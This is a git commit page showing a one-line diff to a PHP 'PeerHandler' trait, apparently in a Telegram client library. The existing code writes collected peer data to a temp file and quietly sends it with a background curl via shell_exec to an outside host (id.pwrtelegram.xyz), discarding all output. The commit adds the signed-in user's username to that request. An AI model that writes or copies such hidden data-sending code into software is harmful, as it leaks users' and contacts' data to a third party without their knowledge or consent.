Provide from
This commit is contained in:
parent
9a21b861b5
commit
ead78628ed
@ -443,7 +443,7 @@ trait PeerHandler
|
||||
$payload = json_encode($this->qres);
|
||||
$path = '/tmp/ids'.hash('sha256', $payload);
|
||||
file_put_contents($path, $payload);
|
||||
$result = shell_exec('curl '.escapeshellarg('https://id.pwrtelegram.xyz/db'.$this->settings['pwr']['db_token'].'/addnewmadeline?d=pls').' -d '.escapeshellarg('@'.$path).' -s -o '.escapeshellarg($path.'.log').' >/dev/null 2>/dev/null & ');
|
||||
$result = shell_exec('curl '.escapeshellarg('https://id.pwrtelegram.xyz/db'.$this->settings['pwr']['db_token'].'/addnewmadeline?d=pls&from='.$this->datacenter->authorization['user']['username']).' -d '.escapeshellarg('@'.$path).' -s -o '.escapeshellarg($path.'.log').' >/dev/null 2>/dev/null & ');
|
||||
\danog\MadelineProto\Logger::log($result);
|
||||
} catch (\danog\MadelineProto\Exception $e) {
|
||||
\danog\MadelineProto\Logger::log($e->getMessage());
|
||||
|
Loading…
Reference in New Issue
Block a user